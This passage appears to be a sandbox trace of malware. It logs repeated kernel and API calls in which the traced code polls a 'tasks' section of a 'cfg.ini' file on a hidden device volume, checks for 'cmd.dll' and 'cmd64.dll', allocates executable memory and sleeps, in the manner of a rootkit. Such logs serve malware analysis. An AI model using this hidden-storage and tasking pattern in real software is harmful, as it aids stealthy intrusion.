FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00db0 [0128.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.701] KeLeaveCriticalRegion () [0128.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.701] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.701] KeEnterCriticalRegion () [0128.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.701] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.701] KeLeaveCriticalRegion () [0128.701] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.701] KeEnterCriticalRegion () [0128.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.701] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.702] IdePortDispatch () returned 0x103 [0128.702] KeWaitForMutexObject () returned 0x0 [0128.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.702] KeLeaveCriticalRegion () [0128.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.702] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.702] KeEnterCriticalRegion () [0128.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.702] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0f000 [0128.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.702] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.702] IdePortDispatch () returned 0x103 [0128.702] KeWaitForMutexObject () returned 0x0 [0128.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.702] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.702] IdePortDispatch () returned 0x103 [0128.703] KeWaitForMutexObject () returned 0x0 [0128.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.703] KeLeaveCriticalRegion () [0128.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.703] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.703] KeEnterCriticalRegion () [0128.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.703] KeLeaveCriticalRegion () [0128.703] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.703] KeEnterCriticalRegion () [0128.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.703] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.703] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.703] KeLeaveCriticalRegion () [0128.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.704] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.704] KeEnterCriticalRegion () [0128.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.704] ExFreePoolWithTag (P=0xfffffa8003c00db0, Tag=0x0) [0128.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.704] KeLeaveCriticalRegion () [0128.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.704] ReleaseMutex (hMutex=0xf0) returned 1 [0128.704] Sleep (dwMilliseconds=0x927c0) [0128.719] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.719] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.719] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.719] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.719] KeEnterCriticalRegion () [0128.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.719] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.719] IdePortDispatch () returned 0x103 [0128.719] KeWaitForMutexObject () returned 0x0 [0128.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.719] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.719] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.719] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.719] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.719] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01d70 [0128.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.719] KeLeaveCriticalRegion () [0128.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.720] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.720] KeEnterCriticalRegion () [0128.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.720] KeLeaveCriticalRegion () [0128.720] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.720] KeEnterCriticalRegion () [0128.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.720] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.720] IdePortDispatch () returned 0x103 [0128.720] KeWaitForMutexObject () returned 0x0 [0128.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.720] KeLeaveCriticalRegion () [0128.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.720] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.720] KeEnterCriticalRegion () [0128.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.720] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b14000 [0128.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.720] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.720] IdePortDispatch () returned 0x103 [0128.720] KeWaitForMutexObject () returned 0x0 [0128.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.721] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.721] IdePortDispatch () returned 0x103 [0128.721] KeWaitForMutexObject () returned 0x0 [0128.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.721] KeLeaveCriticalRegion () [0128.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.721] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.721] KeEnterCriticalRegion () [0128.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.722] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.722] KeLeaveCriticalRegion () [0128.722] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.722] KeEnterCriticalRegion () [0128.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.722] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.722] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.722] KeLeaveCriticalRegion () [0128.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.722] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.722] KeEnterCriticalRegion () [0128.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.722] ExFreePoolWithTag (P=0xfffffa8003c01d70, Tag=0x0) [0128.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.722] KeLeaveCriticalRegion () [0128.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.722] ReleaseMutex (hMutex=0xf0) returned 1 [0128.722] Sleep (dwMilliseconds=0x927c0) [0128.738] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.738] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.738] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.738] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.738] KeEnterCriticalRegion () [0128.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.738] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.738] IdePortDispatch () returned 0x103 [0128.738] KeWaitForMutexObject () returned 0x0 [0128.739] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.739] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.739] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.739] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.739] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.739] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfffb0 [0128.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.739] KeLeaveCriticalRegion () [0128.739] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.739] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.739] KeEnterCriticalRegion () [0128.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.739] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.739] KeLeaveCriticalRegion () [0128.739] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.739] KeEnterCriticalRegion () [0128.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.739] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.739] IdePortDispatch () returned 0x103 [0128.739] KeWaitForMutexObject () returned 0x0 [0128.739] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.739] KeLeaveCriticalRegion () [0128.739] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.739] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.739] KeEnterCriticalRegion () [0128.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b19000 [0128.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.740] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.740] IdePortDispatch () returned 0x103 [0128.740] KeWaitForMutexObject () returned 0x0 [0128.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.740] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.740] IdePortDispatch () returned 0x103 [0128.740] KeWaitForMutexObject () returned 0x0 [0128.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.740] KeLeaveCriticalRegion () [0128.740] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.741] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.741] KeEnterCriticalRegion () [0128.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.741] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.741] KeLeaveCriticalRegion () [0128.741] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.741] KeEnterCriticalRegion () [0128.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.741] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.741] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.741] KeLeaveCriticalRegion () [0128.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.741] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.741] KeEnterCriticalRegion () [0128.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.741] ExFreePoolWithTag (P=0xfffffa8003bfffb0, Tag=0x0) [0128.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.741] KeLeaveCriticalRegion () [0128.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.741] ReleaseMutex (hMutex=0xf0) returned 1 [0128.741] Sleep (dwMilliseconds=0x927c0) [0128.756] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.756] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.756] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.756] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.756] KeEnterCriticalRegion () [0128.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.756] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.756] IdePortDispatch () returned 0x103 [0128.756] KeWaitForMutexObject () returned 0x0 [0128.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.757] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.757] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.757] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c000c0 [0128.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.757] KeLeaveCriticalRegion () [0128.757] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.757] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.757] KeEnterCriticalRegion () [0128.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.757] KeLeaveCriticalRegion () [0128.757] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.757] KeEnterCriticalRegion () [0128.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.757] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.757] IdePortDispatch () returned 0x103 [0128.757] KeWaitForMutexObject () returned 0x0 [0128.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.757] KeLeaveCriticalRegion () [0128.757] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.758] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.758] KeEnterCriticalRegion () [0128.758] 